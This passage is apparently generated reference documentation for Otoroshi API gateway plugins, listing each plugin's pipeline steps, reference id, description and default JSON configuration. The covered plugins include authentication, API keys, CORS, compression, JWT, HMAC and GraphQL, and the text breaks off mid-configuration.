\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.AdditionalHeadersIn }\n\n## Additional headers in\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.AdditionalHeadersIn`\n\n### Description\n\nThis plugin adds headers in the incoming otoroshi request\n\n\n\n### Default configuration\n\n```json\n{\n \"headers\" : { }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.AdditionalHeadersOut }\n\n## Additional headers out\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.AdditionalHeadersOut`\n\n### Description\n\nThis plugin adds headers in the otoroshi response\n\n\n\n### Default configuration\n\n```json\n{\n \"headers\" : { }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.AllowHttpMethods }\n\n## Allowed HTTP methods\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.AllowHttpMethods`\n\n### Description\n\nThis plugin verifies the current request only uses allowed http methods\n\n\n\n### Default configuration\n\n```json\n{\n \"allowed\" : [ ],\n \"forbidden\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.ApikeyAuthModule }\n\n## Apikey auth module\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.ApikeyAuthModule`\n\n### Description\n\nThis plugin adds basic auth on service where credentials are valid apikeys on the current service.\n\n\n\n### Default configuration\n\n```json\n{\n \"realm\" : \"apikey-auth-module-realm\",\n \"matcher\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.ApikeyCalls }\n\n## Apikeys\n\n### Defined on steps\n\n - `MatchRoute`\n - `ValidateAccess`\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.ApikeyCalls`\n\n### Description\n\nThis plugin expects to find an apikey to allow the request to pass\n\n\n\n### Default configuration\n\n```json\n{\n \"extractors\" : {\n \"basic\" : {\n \"enabled\" : true,\n \"header_name\" : null,\n \"query_name\" : null\n },\n \"custom_headers\" : {\n \"enabled\" : true,\n \"client_id_header_name\" : null,\n \"client_secret_header_name\" : null\n },\n \"client_id\" : {\n \"enabled\" : true,\n \"header_name\" : null,\n \"query_name\" : null\n },\n \"jwt\" : {\n \"enabled\" : true,\n \"secret_signed\" : true,\n \"keypair_signed\" : true,\n \"include_request_attrs\" : false,\n \"max_jwt_lifespan_sec\" : null,\n \"header_name\" : null,\n \"query_name\" : null,\n \"cookie_name\" : null\n }\n },\n \"routing\" : {\n \"enabled\" : false\n },\n \"validate\" : true,\n \"mandatory\" : true,\n \"pass_with_user\" : false,\n \"wipe_backend_request\" : true,\n \"update_quotas\" : true\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.ApikeyQuotas }\n\n## Apikey quotas\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.ApikeyQuotas`\n\n### Description\n\nIncrements quotas for the currents apikey. Useful when 'legacy checks' are disabled on a service/globally or when apikey are extracted in a custom fashion.\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.AuthModule }\n\n## Authentication\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.AuthModule`\n\n### Description\n\nThis plugin applies an authentication module\n\n\n\n### Default configuration\n\n```json\n{\n \"pass_with_apikey\" : false,\n \"auth_module\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.BasicAuthCaller }\n\n## Basic Auth. caller\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.BasicAuthCaller`\n\n### Description\n\nThis plugin can be used to call api that are authenticated using basic auth.\n\n\n\n### Default configuration\n\n```json\n{\n \"username\" : null,\n \"passaword\" : null,\n \"headerName\" : \"Authorization\",\n \"headerValueFormat\" : \"Basic %s\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.BrotliResponseCompressor }\n\n## Brotli compression\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.BrotliResponseCompressor`\n\n### Description\n\nThis plugin can compress responses using brotli\n\n\n\n### Default configuration\n\n```json\n{\n \"excluded_patterns\" : [ ],\n \"allowed_list\" : [ \"text/*\", \"application/javascript\", \"application/json\" ],\n \"blocked_list\" : [ ],\n \"buffer_size\" : 8192,\n \"chunked_threshold\" : 102400,\n \"compression_level\" : 5\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.BuildMode }\n\n## Build mode\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.BuildMode`\n\n### Description\n\nThis plugin displays a build page\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.CanaryMode }\n\n## Canary mode\n\n### Defined on steps\n\n - `PreRoute`\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.CanaryMode`\n\n### Description\n\nThis plugin can split a portion of the traffic to canary backends\n\n\n\n### Default configuration\n\n```json\n{\n \"traffic\" : 0.2,\n \"targets\" : [ ],\n \"root\" : \"/\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.ContextValidation }\n\n## Context validator\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.ContextValidation`\n\n### Description\n\nThis plugin validates the current context using JSONPath validators.\n\nThis plugin let you configure a list of validators that will check if the current call can pass.\nA validator is composed of a [JSONPath](https://goessner.net/articles/JsonPath/) that will tell what to check and a value that is the expected value.\nThe JSONPath will be applied on a document that will look like\n\n```js\n{\n \"snowflake\" : \"1516772930422308903\",\n \"apikey\" : { // current apikey\n \"clientId\" : \"vrmElDerycXrofar\",\n \"clientName\" : \"default-apikey\",\n \"metadata\" : {\n \"foo\" : \"bar\"\n },\n \"tags\" : [ ]\n },\n \"user\" : null, // current user\n \"request\" : {\n \"id\" : 1,\n \"method\" : \"GET\",\n \"headers\" : {\n \"Host\" : \"ctx-validation-next-gen.oto.tools:9999\",\n \"Accept\" : \"*/*\",\n \"User-Agent\" : \"curl/7.64.1\",\n \"Authorization\" : \"Basic dnJtRWxEZXJ5Y1hyb2ZhcjpvdDdOSTkyVGI2Q2J4bWVMYU9UNzJxamdCU2JlRHNLbkxtY1FBcXBjVjZTejh0Z3I1b2RUOHAzYjB5SEVNRzhZ\",\n \"Remote-Address\" : \"127.0.0.1:58929\",\n \"Timeout-Access\" : \"\",\n \"Raw-Request-URI\" : \"/foo\",\n \"Tls-Session-Info\" : \"Session(1650461821330|SSL_NULL_WITH_NULL_NULL)\"\n },\n \"cookies\" : [ ],\n \"tls\" : false,\n \"uri\" : \"/foo\",\n \"path\" : \"/foo\",\n \"version\" : \"HTTP/1.1\",\n \"has_body\" : false,\n \"remote\" : \"127.0.0.1\",\n \"client_cert_chain\" : null\n },\n \"config\" : {\n \"validators\" : [ {\n \"path\" : \"$.apikey.metadata.foo\",\n \"value\" : \"bar\"\n } ]\n },\n \"global_config\" : { ... }, // global config\n \"attrs\" : {\n \"otoroshi.core.SnowFlake\" : \"1516772930422308903\",\n \"otoroshi.core.ElCtx\" : {\n \"requestId\" : \"1516772930422308903\",\n \"requestSnowflake\" : \"1516772930422308903\",\n \"requestTimestamp\" : \"2022-04-20T15:37:01.548+02:00\"\n },\n \"otoroshi.next.core.Report\" : \"otoroshi.next.proxy.NgExecutionReport@277b44e2\",\n \"otoroshi.core.RequestStart\" : 1650461821545,\n \"otoroshi.core.RequestWebsocket\" : false,\n \"otoroshi.core.RequestCounterOut\" : 0,\n \"otoroshi.core.RemainingQuotas\" : {\n \"authorizedCallsPerSec\" : 10000000,\n \"currentCallsPerSec\" : 0,\n \"remainingCallsPerSec\" : 10000000,\n \"authorizedCallsPerDay\" : 10000000,\n \"currentCallsPerDay\" : 2,\n \"remainingCallsPerDay\" : 9999998,\n \"authorizedCallsPerMonth\" : 10000000,\n \"currentCallsPerMonth\" : 269,\n \"remainingCallsPerMonth\" : 9999731\n },\n \"otoroshi.next.core.MatchedRoutes\" : \"MutableList(route_022825450-e97d-42ed-8e22-b23342c1c7c8)\",\n \"otoroshi.core.RequestNumber\" : 1,\n \"otoroshi.next.core.Route\" : { ... }, // current route as json\n \"otoroshi.core.RequestTimestamp\" : \"2022-04-20T15:37:01.548+02:00\",\n \"otoroshi.core.ApiKey\" : { ... }, // current apikey as json\n \"otoroshi.core.User\" : { ... }, // current user as json\n \"otoroshi.core.RequestCounterIn\" : 0\n },\n \"route\" : { ... },\n \"token\" : null // current valid jwt token if one\n}\n```\n\nthe expected value support some syntax tricks like\n\n* `Not(value)` on a string to check if the current value does not equals another value\n* `Regex(regex)` on a string to check if the current value matches the regex\n* `RegexNot(regex)` on a string to check if the current value does not matches the regex\n* `Wildcard(*value*)` on a string to check if the current value matches the value with wildcards\n* `WildcardNot(*value*)` on a string to check if the current value does not matches the value with wildcards\n* `Contains(value)` on a string to check if the current value contains a value\n* `ContainsNot(value)` on a string to check if the current value does not contains a value\n* `Contains(Regex(regex))` on an array to check if one of the item of the array matches the regex\n* `ContainsNot(Regex(regex))` on an array to check if one of the item of the array does not matches the regex\n* `Contains(Wildcard(*value*))` on an array to check if one of the item of the array matches the wildcard value\n* `ContainsNot(Wildcard(*value*))` on an array to check if one of the item of the array does not matches the wildcard value\n* `Contains(value)` on an array to check if the array contains a value\n* `ContainsNot(value)` on an array to check if the array does not contains a value\n\nfor instance to check if the current apikey has a metadata name `foo` with a value containing `bar`, you can write the following validator\n\n```js\n{\n \"path\": \"$.apikey.metadata.foo\",\n \"value\": \"Contains(bar)\"\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"validators\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.Cors }\n\n## CORS\n\n### Defined on steps\n\n - `PreRoute`\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.Cors`\n\n### Description\n\nThis plugin applies CORS rules\n\n\n\n### Default configuration\n\n```json\n{\n \"allow_origin\" : \"*\",\n \"expose_headers\" : [ ],\n \"allow_headers\" : [ ],\n \"allow_methods\" : [ ],\n \"excluded_patterns\" : [ ],\n \"max_age\" : null,\n \"allow_credentials\" : true\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.DisableHttp10 }\n\n## Disable HTTP/1.0\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.DisableHttp10`\n\n### Description\n\nThis plugin forbids HTTP/1.0 requests\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.EndlessHttpResponse }\n\n## Endless HTTP responses\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.EndlessHttpResponse`\n\n### Description\n\nThis plugin returns 128 Gb of 0 to the ip addresses is in the list\n\n\n\n### Default configuration\n\n```json\n{\n \"finger\" : false,\n \"addresses\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.EurekaServerSink }\n\n## Eureka instance\n\n### Defined on steps\n\n - `CallBackend`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.EurekaServerSink`\n\n### Description\n\nEureka plugin description\n\n\n\n### Default configuration\n\n```json\n{\n \"evictionTimeout\" : 300\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.EurekaTarget }\n\n## Internal Eureka target\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.EurekaTarget`\n\n### Description\n\nThis plugin can be used to used a target that come from an internal Eureka server.\n If you want to use a target which it locate outside of Otoroshi, you must use the External Eureka Server.\n\n\n\n### Default configuration\n\n```json\n{\n \"eureka_server\" : null,\n \"eureka_app\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.ExternalEurekaTarget }\n\n## External Eureka target\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.ExternalEurekaTarget`\n\n### Description\n\nThis plugin can be used to used a target that come from an external Eureka server.\n If you want to use a target that is directly exposed by an implementation of Eureka by Otoroshi,\n you must use the Internal Eureka Server.\n\n\n\n### Default configuration\n\n```json\n{\n \"eureka_server\" : null,\n \"eureka_app\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.ForceHttpsTraffic }\n\n## Force HTTPS traffic\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.ForceHttpsTraffic`\n\n### Description\n\nThis plugin verifies the current request uses HTTPS\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.ForwardedHeader }\n\n## Forwarded header\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.ForwardedHeader`\n\n### Description\n\nThis plugin adds all the Forwarded header to the request for the backend target\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.GlobalMaintenanceMode }\n\n## Global Maintenance mode\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.GlobalMaintenanceMode`\n\n### Description\n\nThis plugin displays a maintenance page for every services. Useful when 'legacy checks' are disabled on a service/globally\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.GlobalPerIpAddressThrottling }\n\n## Global per ip address throttling \n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.GlobalPerIpAddressThrottling`\n\n### Description\n\nEnforce global per ip address throttling. Useful when 'legacy checks' are disabled on a service/globally\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.GlobalThrottling }\n\n## Global throttling \n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.GlobalThrottling`\n\n### Description\n\nEnforce global throttling. Useful when 'legacy checks' are disabled on a service/globally\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.GraphQLBackend }\n\n## GraphQL Composer\n\n### Defined on steps\n\n - `CallBackend`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.GraphQLBackend`\n\n### Description\n\nThis plugin exposes a GraphQL API that you can compose with whatever you want\n\n\n\n### Default configuration\n\n```json\n{\n \"schema\" : \"\\n type User {\\n name: String!\\n firstname: String!\\n }\\n\\n type Query {\\n users: [User] @json(data: \\\"[{ \\\\\\\"firstname\\\\\\\": \\\\\\\"Foo\\\\\\\", \\\\\\\"name\\\\\\\": \\\\\\\"Bar\\\\\\\" }, { \\\\\\\"firstname\\\\\\\": \\\\\\\"Bar\\\\\\\", \\\\\\\"name\\\\\\\": \\\\\\\"Foo\\\\\\\" }]\\\")\\n }\\n \",\n \"permissions\" : [ ],\n \"initial_data\" : null,\n \"max_depth\" : 15\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.GraphQLProxy }\n\n## GraphQL Proxy\n\n### Defined on steps\n\n - `CallBackend`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.GraphQLProxy`\n\n### Description\n\nThis plugin can apply validations (query, schema, max depth, max complexity) on graphql endpoints\n\n\n\n### Default configuration\n\n```json\n{\n \"endpoint\" : \"https://countries.trevorblades.com/graphql\",\n \"schema\" : null,\n \"max_depth\" : 50,\n \"max_complexity\" : 50000,\n \"path\" : \"/graphql\",\n \"headers\" : { }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.GraphQLQuery }\n\n## GraphQL Query to REST\n\n### Defined on steps\n\n - `CallBackend`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.GraphQLQuery`\n\n### Description\n\nThis plugin can be used to call GraphQL query endpoints and expose it as a REST endpoint\n\n\n\n### Default configuration\n\n```json\n{\n \"url\" : \"https://some.graphql/endpoint\",\n \"headers\" : { },\n \"method\" : \"POST\",\n \"query\" : \"{\\n\\n}\",\n \"timeout\" : 60000,\n \"response_path\" : null,\n \"response_filter\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.GzipResponseCompressor }\n\n## Gzip compression\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.GzipResponseCompressor`\n\n### Description\n\nThis plugin can compress responses using gzip\n\n\n\n### Default configuration\n\n```json\n{\n \"excluded_patterns\" : [ ],\n \"allowed_list\" : [ \"text/*\", \"application/javascript\", \"application/json\" ],\n \"blocked_list\" : [ ],\n \"buffer_size\" : 8192,\n \"chunked_threshold\" : 102400,\n \"compression_level\" : 5\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.HMACCaller }\n\n## HMAC caller plugin\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.HMACCaller`\n\n### Description\n\nThis plugin can be used to call a \"protected\" api by an HMAC signature. It will adds a signature with the secret configured on the plugin.\n The signature string will always the content of the header list listed in the plugin configuration.\n\n\n\n### Default configuration\n\n```json\n{\n \"secret\" : null,\n \"algo\" : \"HMAC-SHA512\",\n \"authorizationHeader\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.HMACValidator }\n\n## HMAC access validator\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.HMACValidator`\n\n### Description\n\nThis plugin can be used to check if a HMAC signature is present and valid in Authorization header.\n\n\n\n### Default configuration\n\n```json\n{\n \"secret\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.HeadersValidation }\n\n## Headers validation\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.HeadersValidation`\n\n### Description\n\nThis plugin validates the values of incoming request headers\n\n\n\n### Default configuration\n\n```json\n{\n \"headers\" : { }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.Http3Switch }\n\n## Http3 traffic switch\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.Http3Switch`\n\n### Description\n\nThis plugin injects additional alt-svc header to switch to the http3 server\n\n\n\n### Default configuration\n\n```json\n{\n \"ma\" : 3600\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.ImageReplacer }\n\n## Image replacer\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.ImageReplacer`\n\n### Description\n\nReplace all response with content-type image/* as they are proxied\n\n\n\n### Default configuration\n\n```json\n{\n \"url\" : \"https://raw.githubusercontent.com/MAIF/otoroshi/master/resources/otoroshi-logo.png\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.IpAddressAllowedList }\n\n## IP allowed list\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.IpAddressAllowedList`\n\n### Description\n\nThis plugin verifies the current request ip address is in the allowed list\n\n\n\n### Default configuration\n\n```json\n{\n \"addresses\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.IpAddressBlockList }\n\n## IP block list\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.IpAddressBlockList`\n\n### Description\n\nThis plugin verifies the current request ip address is not in the blocked list\n\n\n\n### Default configuration\n\n```json\n{\n \"addresses\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.JQ }\n\n## JQ\n\n### Defined on steps\n\n - `TransformRequest`\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.JQ`\n\n### Description\n\nThis plugin let you transform JSON bodies (in requests and responses) using [JQ filters](https://stedolan.github.io/jq/manual/#Basicfilters).\n\n\n\n### Default configuration\n\n```json\n{\n \"request\" : \".\",\n \"response\" : \"\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.JQRequest }\n\n## JQ transform request\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.JQRequest`\n\n### Description\n\nThis plugin let you transform request JSON body using [JQ filters](https://stedolan.github.io/jq/manual/#Basicfilters).\n\n\n\n### Default configuration\n\n```json\n{\n \"filter\" : \".\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.JQResponse }\n\n## JQ transform response\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.JQResponse`\n\n### Description\n\nThis plugin let you transform JSON response using [JQ filters](https://stedolan.github.io/jq/manual/#Basicfilters).\n\n\n\n### Default configuration\n\n```json\n{\n \"filter\" : \".\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.JsonToXmlRequest }\n\n## request body json-to-xml\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.JsonToXmlRequest`\n\n### Description\n\nThis plugin transform incoming request body from json to xml and may apply a jq transformation\n\n\n\n### Default configuration\n\n```json\n{\n \"filter\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.JsonToXmlResponse }\n\n## response body json-to-xml\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.JsonToXmlResponse`\n\n### Description\n\nThis plugin transform response body from json to xml and may apply a jq transformation\n\n\n\n### Default configuration\n\n```json\n{\n \"filter\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.JwtSigner }\n\n## Jwt signer\n\n### Defined on steps\n\n - `ValidateAccess`\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.JwtSigner`\n\n### Description\n\nThis plugin can only generate token\n\n\n\n### Default configuration\n\n```json\n{\n \"verifier\" : null,\n \"replace_if_present\" : true,\n \"fail_if_present\" : false\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.JwtVerification }\n\n## Jwt verifiers\n\n### Defined on steps\n\n - `ValidateAccess`\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.JwtVerification`\n\n### Description\n\nThis plugin verifies the current request with one or more jwt verifier\n\n\n\n### Default configuration\n\n```json\n{\n \"verifiers\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.JwtVerificationOnly }\n\n## Jwt verification only\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.JwtVerificationOnly`\n\n### Description\n\nThis plugin verifies the current request with one jwt verifier\n\n\n\n### Default configuration\n\n```json\n{\n \"verifier\" : null,\n \"fail_if_absent\" : true\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.MaintenanceMode }\n\n## Maintenance mode\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.MaintenanceMode`\n\n### Description\n\nThis plugin displays a maintenance page\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.MissingHeadersIn }\n\n## Missing headers in\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.MissingHeadersIn`\n\n### Description\n\nThis plugin adds headers (if missing) in the incoming otoroshi request\n\n\n\n### Default configuration\n\n```json\n{\n \"headers\" : { }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.MissingHeadersOut }\n\n## Missing headers out\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.MissingHeadersOut`\n\n### Description\n\nThis plugin adds headers (if missing) in the otoroshi response\n\n\n\n### Default configuration\n\n```json\n{\n \"headers\" : { }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.MockResponses }\n\n## Mock Responses\n\n### Defined on steps\n\n - `CallBackend`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.MockResponses`\n\n### Description\n\nThis plugin returns mock responses\n\n\n\n### Default configuration\n\n```json\n{\n \"responses\" : [ ],\n \"pass_through\" : true\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.MultiAuthModule }\n\n## Multi Authentication\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.MultiAuthModule`\n\n### Description\n\nThis plugin applies an authentication module from a list of selected modules\n\n\n\n### Default configuration\n\n```json\n{\n \"pass_with_apikey\" : false,\n \"auth_modules\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgAuthModuleExpectedUser }\n\n## User logged in expected\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgAuthModuleExpectedUser`\n\n### Description\n\nThis plugin enforce that a user from any auth. module is logged in\n\n\n\n### Default configuration\n\n```json\n{\n \"only_from\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgAuthModuleUserExtractor }\n\n## User extraction from auth. module\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgAuthModuleUserExtractor`\n\n### Description\n\nThis plugin extracts users from an authentication module without enforcing login\n\n\n\n### Default configuration\n\n```json\n{\n \"auth_module\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgBiscuitExtractor }\n\n## Apikey from Biscuit token extractor\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgBiscuitExtractor`\n\n### Description\n\nThis plugin extract an from a Biscuit token where the biscuit has an #authority fact 'client_id' containing\napikey client_id and an #authority fact 'client_sign' that is the HMAC256 signature of the apikey client_id with the apikey client_secret\n\n\n\n### Default configuration\n\n```json\n{\n \"public_key\" : null,\n \"checks\" : [ ],\n \"facts\" : [ ],\n \"resources\" : [ ],\n \"rules\" : [ ],\n \"revocation_ids\" : [ ],\n \"extractor\" : {\n \"name\" : \"Authorization\",\n \"type\" : \"header\"\n },\n \"enforce\" : false\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.NgBiscuitValidator }\n\n## Biscuit token validator\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.NgBiscuitValidator`\n\n### Description\n\nThis plugin validates a Biscuit token\n\n\n\n### Default configuration\n\n```json\n{\n \"public_key\" : null,\n \"checks\" : [ ],\n \"facts\" : [ ],\n \"resources\" : [ ],\n \"rules\" : [ ],\n \"revocation_ids\" : [ ],\n \"extractor\" : {\n \"name\" : \"Authorization\",\n \"type\" : \"header\"\n },\n \"enforce\" : 